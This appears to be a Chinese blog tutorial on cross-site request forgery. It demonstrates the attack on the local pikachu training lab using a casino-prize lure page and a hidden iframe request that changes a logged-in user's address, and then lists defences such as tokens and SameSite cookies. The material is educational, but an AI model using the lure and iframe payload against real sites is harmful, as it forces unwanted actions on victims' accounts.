网络安全-跨站请求伪造(CSRF)的原理、攻击及防御

2023-11-15

目录

简介

原理

举例

漏洞发现

链接及请求伪造

CSRF攻击

不同浏览器

未登录状态

 登录状态

代码查看

工具

防御

用户

程序员


​​​​​​​

简介

跨站请求伪造(Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。跟跨站脚本(XSS)相比,XSS 利用的是用户对指定网站的信任,CSRF 利用的是网站对用户网页浏览器的信任。

原理

构造链接,黑客在自己的网站或邮箱等引诱已登录用户点击按钮等,来请求想要攻击的网站,浏览器会携带已登录用户的Cookie去访问黑客想要攻击的网站。CSRF攻击利用网站对于用户网页浏览器的信任。

举例

漏洞发现

使用靶机:pikachu

CSRF(get)

使用vince 123456登录

登录后查看

点击修改个人信息

修改

http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=beijing&email=vince@qq.com&submit=submit

抓包发现链接如上,存在CSRF漏洞。

链接及请求伪造

click.html

<html>
	<head>
		<title>
			澳门皇家赌场上线啦!!!
		</title>
	</head>
	<body>
		<a href="requestforgery.html">美女荷官免费送100万,点击领取!!!</a>
	</body>
</html>

requestforgery.html

<html>
	<head>
		<title>
			领奖平台!!!
		</title>
	</head>
	<body>
		<p>请邮箱查收</p>
		<iframe/ src="http://127.0.0.1/pikachu/vul/csrf/csrfget/csrf_get_edit.php?sex=%E5%A5%B3&phonenum=13098763456&add=shanghai&email=vince@qq.com&submit=submit" frameborder="0" width="0px">
	</body>
</html>

修改地址即add参数为shanghai

CSRF攻击

不同浏览器

pikachu登录是使用火狐,以下点击是使用谷歌。

恶意链接
跳转至请求伪造界面

 界面刷新后没有问题

界面刷新

未登录状态

点击退出登录

点击退出登录

使用火狐浏览器(网站同一浏览器)进行访问。

恶意链接
请求伪造

登录后查看,未改变。

未改变

 登录状态

登录后重复上述操作,攻击成功!!!

攻击成功,地址修改

代码查看

 pikachu\vul\csrf\csrfget\csrf_get_login.php

session保存

 使用session保存的,没有验证码或token。

工具

deemon

csrftester与burpsuite

csrf-scanner(闭源)

防御

用户

通过简介就可以看出用户可以做的防御措施

  • 不登录(用户使用网站应该会登录,登录时可以更换浏览器或选择浏览器模式)
  • 不点击恶意链接
  • 使用特殊网站时单独用一个浏览器

程序员

  • 验证码

这个比较常见,我就不多说了,目前各种验证码都有可能通过机器学习等方式进行破解。

  • referer

请求头带的,可以标识来源。

  • token

token是常用的一种方式,通过设置过期时间进行刷新,在文章django-rest-framework-jwt与django-rest-framework-simplejwt的对比及使用中有对比python中两种JWT包,当时博主在学REST API。

  • 二次验证

在进行修改密码,钱财业务等敏感操作时再次核验身份,通过手机短信,面部识别等

-----------------------------------------2021年9月1日更新------------------------------------------

  • Same Site Cookie

由Google提出的草案,在原有的Cookie中,新添加了一个SameSite属性,它标识着在非同源的请求中,是否可以带上Cookie,它可以设置为3个值,分别为:

  1. Strict
  2. Lax
  3. None

CORS与CSRF

-------------------------------------2021年9月1日更新完毕---------------------------------------

若存在xss攻击,则没有必要防御CSRF了,因为网站已经不安全,可以通过XSS获取cookie、token等,换浏览器或在浏览器层面防御也就没有意义了。

b站视频:恶意链接是怎么对你攻击的(CSRF讲解)

更多内容查看:网络安全-自学笔记

喜欢本文的请动动小手点个赞,收藏一下,有问题请下方评论,转载请注明出处,并附有原文链接,谢谢!如有侵权,请及时联系。如果您感觉有所收获,自愿打赏,可选择支付宝18833895206(小于),您的支持是我不断更新的动力。

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

网络安全-跨站请求伪造(CSRF)的原理、攻击及防御 的相关文章

  • 如何访问随机网站? - Python

    如何生成随机但有效的网站链接 无论语言如何 事实上 它生成的网站语言越多样化越好 我一直在使用其他人网页上的脚本来做到这一点 我怎样才能不依赖这些随机站点转发脚本并制作自己的脚本 我一直这样做 import webbrowser from
  • Web 服务器内置 Azure 应用服务

    背景 我正在托管一个静态 Web 应用程序 由 NUXTJS 在 Azure 应用服务上生成 现在我想通过以下方式配置更多内容web config比如为多个域设置 CORS 设置 但我找不到任何文档来确定 Azure 应用程序服务中集成 安
  • Django 中的 Meta 到底是什么?

    我想简单地知道 Django 中的 Meta 类是什么以及它们的作用 from django db import models Class Author models Model first name models CharField ma
  • 使用 ruby​​ on Rails 向静态网站添加功能

    我是 ruby on Rails 的新手 我有一个包含很多静态页面的网站 我想向网站添加一些动态页面 我将在 ruby on Rails 中开发这些页面 当用户单击静态页面之一上的按钮之一时 将触发这些页面提供的功能 我想我将把动态页面放在
  • 在 Google Cloud 中设置网站? [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 我完全迷失在这之中 我习惯于使用带有 cpanel 的简单 Web 主机来制作网站 只需使用 filezilla 登录并上传我的 ht
  • 引导程序中导航和巨型屏幕之间的差距

    对于我的一生 我无法确定我的导航和大屏幕之间的空白来自哪里 我已经玩过很多变量 但无法让它消失 我在这里做了一个cssdeckhttp cssdeck com labs u6ws0ozl http cssdeck com labs u6ws
  • Ant Design Collapse - 关闭按钮

    我是 Ant Design 的初学者 在使用 Ant Design 库中的 Collapse 和 Form 时遇到了这个问题 我已经设置了我的页面 其中添加新项目的表单位于折叠中 并且折叠下方有一个项目列表
  • 通过站点到站点 VPN 将 Azure 网站连接到本地数据库

    我的目标是运行一个天蓝色的网站 该网站可以访问我们本地公司数据库中的数据 我按照网络上的教程设置了一个 Azure 虚拟网络 并通过站点到站点 VPN 将其连接到我们本地公司网络 在天蓝色门户中 我可以看到连接实际上正在工作 并且数据已被接
  • JavaScript 中的对象解构[重复]

    这个问题在这里已经有答案了 gt a a true Statement lt a true 上面的语句是赋值true to a 为什么上面的语句在chrome控制台中没有报错 虽然下面的语句给出了错误 gt a a true Stateme
  • 电话链接在 iframe 中不起作用,但在 iOS 9 Web 中的 div 中起作用。如何使电话链接在 iOS 9 safari 中正常工作?

    您好 我正在尝试 iOS9 中 iframe 内的电话链接 iOS9 中的 safari 中无法打开手机应用程序 当我在里面尝试相同的链接时 它就在那里工作 我正在尝试下面的锚标记 将此代码放入 div 中时会打开手机应用程序 但同样的代码
  • Jekyll 在子网站上生成静态网站?

    是否可以将 Jekyll 放在 GitHub 上托管的网站的单个部分上 即是否可以让 example github io 成为常规站点 而 example github io blog 由 Jekyll 静态生成 我相信可以通过创建另一个名
  • 从 Harp.js 中的 EJS 模板调用另一个文件上的 javascript 函数

    尝试使用 Harp js 制作一个网站 我使用 ejs 模板 并希望将一些有用的 javascript 函数存储在中央文件中 我怎么做 我尝试使用 但它不起作用 似乎js文件没有被解析 有任何想法吗 谢谢 尽管有多种方法 有时 可以实现这一
  • 单击链接时启动本地应用程序

    我正在开发一个内部 Web 应用程序 它允许我为客户存储远程控制凭据 每次我想要连接到客户计算机时 我都需要启动远程支持软件 复制并粘贴用户名和密码 然后单击 开始 按钮 该软件将具有可用的命令行参数 允许我立即启动会话 但是 我不知道如何
  • Phonegap - cordova 在 Android 和 iOS 设备上延迟且缓慢

    我刚刚开始使用 zend studio 开始我的第一个 PhoneGap 项目 但是 在我构建并部署它之后 该应用程序非常慢 Android 和 iOS 均可 滚动滞后 如果我按下按钮 转到下一页的速度很慢 有什么办法可以提高它的性能吗 提
  • Django - 缺少 1 个必需的位置参数:'request'

    我收到错误 get indiceComercioVarejista 缺少 1 个必需的位置参数 要求 当尝试访问 get indiceComercioVarejista 方法时 我不知道这是怎么回事 views from django ht
  • 如何保护我的网站免遭 HTTrack 或其他软件的翻录?

    我最近获得了批准的网站模板主题森林 http themeforest net 我的网站流量过多 并注意到我在 Themeforest 上的演示被 HTTrack 等某些软件破坏 如果这种情况持续下去 该产品的销量最终可能会下降 那么 有什么
  • VSTS 构建失败/发布无法在 bin 文件夹中找到 roslyn\csc.exe

    我们有一个网站项目 安装了以下 nuget 软件包 Microsoft CodeDom Providers DotNetCompilerPlatform 1 0 8 Microsoft Net Compilers 2 4 0 The web
  • php 中的 stackoverflow 上有这样的成就系统吗? [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 从概念上讲 如何使用 PHP 和 MySQL 为网站编写一个成就系统 唯一真正的方法是不断执行 MySQL 查询来测试成绩等吗 您有两
  • 使用 php ping 网站

    我想创建一个 php 脚本 它将 ping 一个域并列出响应时间以及请求的总大小 这将用于监控网站网络 我尝试过curl 这是我到目前为止的代码 function curlTest2 url clearstatcache return if
  • IIS 8 HTTPS/需要 SSL 导致超时错误

    尝试通过 IIS 8 通过 SSL 发布网站 但出现超时错误 任何帮助表示赞赏 采取的步骤 已验证该网站可以通过 HTTP 访问 http xxx xxx xxx xxx有效 此时使用 IP 地址 如果重要的话 IIS gt 服务器证书 g

随机推荐

  • 数据结构——线性表(C++)

    一 前言 数据结构在逻辑结构上分为线性和非线性 例如链表 顺序表 串 数组都是线性的 他们的特点就是一对一 而非线性结构比如图和二叉树 他们的对应关系是一对多 多对多 这里介绍线性表的顺序表和链表 循环链表和双向链表 还有双向循环链表 链表
  • 关于springboot profiles

    在项目中会遇到项目环境变量切换到的问题 但是主要配置相同 只想切换部分的配置 可以在application yml配置所有的环境变量 然后在application dev yml配置dev中的环境变量 如果dev中没有配置会读取applic
  • tan x x的matlab求解,matlab画x=tan(x)

    matlab怎么解非线性方程 如tan x 4x x 2 4 equ sym tan x 4 x x 2 4 x solve equ gt gt xx 0再问 这只能求出一个解啊再答 还有其他解吗 matlab 求解tan x x 1 0
  • Rotated_Faster_Rcnn

    rotated faster rcnn 文章目录 训练 rpn head forward train rpn head forward rpn head loss rpn head get bboxes roi head forward t
  • mysql绿色版安装与卸载

    第一步 下载Mysql 官网下载地址 https dev mysql com downloads mysql 1 鼠标滑下来 找到Other Download中的 Windows x86 64 bit ZIP Archive 点击其右边的D
  • 第32步 机器学习分类实战:SHAP

    继续填坑 这回到SHAP 这个是选修 有兴趣可以看看 我们建立了十个ML模型 如果选出了Xgboost LightGBM Catboost这种树模型 大概率也是这些最厉害了 那就可以用SHAP进行模型可视化 1 首先 使用pip insta
  • 解决“The debugger has set two breakpoints at the same address 0x08xxxxx”问题

    今天来分享一个前段时间做项目适合遇到的一个bug 正好今天有空就拿出来跟大家分享一下 错误 首先 大家直接来看这个错误提示 这个错误是我在使用J Link调试时候出现的 上面的意思是 调试器在同一地址设置了两个断点 但是我检查了整个工程也没
  • 数据结构编程回顾(五)交通咨询系统设计

    题目五 交通咨询系统设计 设计要求 设计一个咨询交通系统 能让旅客咨询从任一个 城市到另一个城市之间的最短路径 里程 最低费用或者 最少时间等问题 对于不同的咨询要求 可以输入城市间路 程 所需时间或者所需费用 设计分3 个部分 1 建立交
  • QT connect第五个参数

    一 介绍 1 Qt AutoConnection 默认连接 连接类型在信号发出时确定 如果接收者和发送者在同一个线程 使用Qt DirectConnection类型 如果接收者和发送者不在一个线程 则使用Qt QueuedConnectio
  • 管理概论笔记

    前言 本文章属于在听课时做的笔记 第一周 管理导论 来源 管理概论 浙江大学 邢以群 MOOC 学习理论的目的是为了能够做没有学过的人做不了的事情或者比他们做得更好 一 管理及其功能 介绍什么是管理以及为什么需要管理 观念决定行为 行为决定
  • GBDT的正则化及与XGBOOST区别

    1 GBDT的正则化 和Adaboost一样 我们也需要对GBDT进行正则化 防止过拟合 GBDT的正则化主要有三种方式 第一种是和Adaboost类似的正则化项 即步长 learning rate 定义为 对于前面的弱学习器的迭代 fk
  • Shiro中Session和Cache

    Session是一种状态保持机制 参考文章Session是什么可知Session和Web服务也没有必然关系 Shiro本身的Security Manager也可以脱离Servlet自己管理Session 根据Security Manager
  • 13-3 动态链接库的编译和使用

    1 静态链接库与动态链接库 由于静态链接库不能共享 且依赖的符号的对应目标文件与主程序文件需要一同编译 故静态链接库内存空间占用较大 而动态链接库具有共享性质 通过特定路径即可引用 可以有效减少内存空间的占用 此外 可使用 ldd 命令查看
  • ubuntu16.04.1安装xrdp实现远程桌面访问

    之前测试过xfce4桌面 但是其实ubuntu16 04 1默认的unity桌面也是可以的 首先需要安装 tigervncserver 1 6 80 wget c http www c nergy be downloads tigervnc
  • python刷题第七周

    以下是有所收获的题目 第一题 第5章 2 图的字典表示 20 分 图的字典表示 输入多行字符串 每行表示一个顶点和该顶点相连的边及长度 输出顶点数 边数 边的总长度 比如上图0点表示 O A 2 B 5 C 4 用eval函数处理输入 ev
  • 服务器网站5m带宽在线多少人?

    同时访问一个网站的人数是在线的 这由许多因素决定 包括服务器带宽 质量和同时访问您的网站的人数有关的网站类型 若使用的是独享5M带宽 即5Mbit s 相应云服务器的数据最高传输速度应为5Mbit s x 1024 8 640KB 1分钟流
  • 面试官问:Redis 分布式锁如何自动续期?

    资深面试官 你们项目中的分布式锁是怎么实现的 老任 基于redis的set命令 该命令有nx和ex选项 资深面试官 那如果锁到期了 业务还没结束 如何进行自动续期呢 老任 这个 面试官 您上个问题是啥来着 资深面试官 你们项目中分布式锁是怎
  • springboot之乐观锁和悲观锁

    适用场景 悲观锁 比较适合写入操作比较频繁的场景 如果出现大量的读取操作 每次读取的时候都会进行加锁 这样会增加大量的锁的开销 降低了系统的吞吐量 乐观锁 比较适合读取操作比较频繁的场景 如果出现大量的写入操作 数据发生冲突的可能性就会增大
  • python_mysql

    pymysql模块 pip3 install pymysql pymysql使用流程 1 建立数据库连接 db pymysql connect 2 创建游标对象 cur db cursor 3 游标方法 cur execute insert
  • 网络安全-跨站请求伪造(CSRF)的原理、攻击及防御

    目录 简介 原理 举例 漏洞发现 链接及请求伪造 CSRF攻击 不同浏览器 未登录状态 登录状态 代码查看 工具 防御 用户 程序员 简介 跨站请求伪造 Cross site request forgery 也被称为 one click a